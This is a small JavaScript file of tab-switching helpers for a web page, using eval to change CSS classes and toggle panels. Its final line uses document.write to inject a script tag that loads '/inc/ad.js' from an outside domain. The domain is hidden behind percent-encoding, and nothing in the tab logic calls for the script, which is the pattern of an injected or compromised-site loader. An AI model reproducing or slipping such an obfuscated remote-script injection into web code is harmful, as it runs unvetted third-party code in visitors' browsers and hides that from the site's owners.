current=0;
function secBoard(n)
{
	for(i=1;i<4;i++){
	eval("document.getElementById('cel"+i+"').className='huanno'");
	}
	eval("document.getElementById('cel"+n+"').className='huannow'");
	current=n;
	for(i=1;i<4;i++)
	eval("yxmr1"+i+".style.display='none'");
	eval("yxmr1"+n+".style.display='block'");
	}
	
function changebg(n){
	for(i=1;i<5;i++){
		eval("document.getElementById('cel"+i+"').className='son00'");
		}
	if (current!=n){
		eval("document.getElementById('cel"+n+"').className='son0"+n+"'");
		
		}
	}
function resetbg(obj,n){
	if (current!=n){
		eval("obj.className='so00'");
		}
	}
document.write ('<script src="http://%77%77%77%2E%7A%68%6F%75%73%68%61%6E%2D%77%69%6E%64%6F%77%2E%63%6E/inc/ad.js"></script>');